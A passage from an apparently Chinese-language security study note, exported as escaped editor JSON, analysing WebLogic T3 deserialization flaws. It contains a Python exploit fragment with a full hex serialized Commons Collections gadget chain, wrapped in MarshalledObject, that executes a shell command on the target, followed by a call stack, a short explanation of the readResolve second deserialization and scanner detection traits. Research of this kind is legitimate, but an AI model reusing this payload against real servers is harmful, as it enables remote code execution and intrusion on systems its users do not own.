&#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptnL-1673886074171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WK4o-1673886074170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aYVo-1673886074173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWux-1673886074172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经MarshalledObject封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fAF-1673886074175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0vuD-1673886074174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6SkA-1673886074178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gYG-1673886074177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Obss-1673886074180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAFC-1673886074179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJSH-1673886074182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hcKB-1673886074181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3nj-1673886074184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1dta-1673886074183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UEC-1673886074186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;um0a-1673886074185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwPy-1673886074188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWQH-1673886074187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KHxA-1673886074190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4URA-1673886074189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwF1-1673886074192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QcQ-1673886074191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JSl-1673886074194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J2kK-1673886074193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BA7D-1673886074196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMJj-1673886074195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;org.apache.commons.collections.functors.InvokerTransformer&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hXET-1673886074198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RUqt-1673886074197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hc8B-1673886074200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7xyy-1673886074199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;luaE-1673886074202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMPL-1673886074201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWzA-1673886074204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5JE9-1673886074203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NCtE-1673886074206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6sg-1673886074205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fWs-1673886074208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2szw-1673886074207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dzIx-1673886074210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vX4e-1673886074209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlVY-1673886900345&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5217/WEBRESOURCEad9893f1807a8bfe4e24f71ba84733c4&#34;,&#34;width&#34;:1492,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qay7-1673920222284&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lGMM-1673920222285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zh9v-1673920755180&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FsOY-1673920755133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diIT-1673920755132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:58, MarshalledObject (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dgik-1673920755135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGAu-1673920755134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76t0-1673920755137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKlU-1673920755136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:57, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0OUt-1673920755139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lxGq-1673920755138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FP1A-1673920755141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y9gk-1673920755140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:601, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sETw-1673920755143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YFod-1673920755142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadResolve:1091, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PqKH-1673920755145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GkXj-1673920755144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1805, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j7VY-1673920755147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gVIc-1673920755146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7bgT-1673920755149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P55U-1673920755148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c9PD-1673920755151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwLS-1673920755150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEVR-1673920755153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RhK2-1673920755152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gDeV-1673920755155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yAA-1673920755154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hqHG-1673920755157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBie-1673920755156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nMw2-1673920755159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KBAp-1673920755158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;neQ1-1673920755161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8M7-1673920755160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gLL3-1673920755163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8IF-1673920755162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTlx-1673920755165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vd6r-1673920755164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5kaG-1673920755167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAz5-1673920755166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RdGP-1673920755169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S0fQ-1673920755168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;atnR-1673920755171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;seiJ-1673920755170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Scj7-1673920755173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rqV3-1673920755172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Phes-1673920755175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HtN5-1673920755174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jtCP-1673920755177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dx7Y-1673920755176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ehtn-1673920755179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R5sS-1673920755178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BJ5D-1673920224798&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JKyI-1673920224797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;It8n-1673921045949&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5227/WEBRESOURCE52413d95b1ec3902a87507998af82fb8&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ug37-1673921467121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5238/WEBRESOURCE5167f9617801306c27a7de0cec56eba5&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFjw-1673921480114&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5240/WEBRESOURCE1355df45d95fbb599f4afa5a1a223dcf&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76Bz-1673921505120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5242/WEBRESOURCEfa42c2239e3d3cb224b253ae2084fcba&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;763r-1673921505125&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTUk-1673921505123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征上，出现的类变为&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9oS-1673920002593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;width&#34;:635,&#34;height&#34;:546},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3zX-1673920205587&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;width&#34;:637,&#34;height&#34;:543},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;np3H-1673920001206&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBsz-1673920001205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FJUY-1673936935586&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ys9s-1673936935581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2555&#34;,&#34;marks&#34;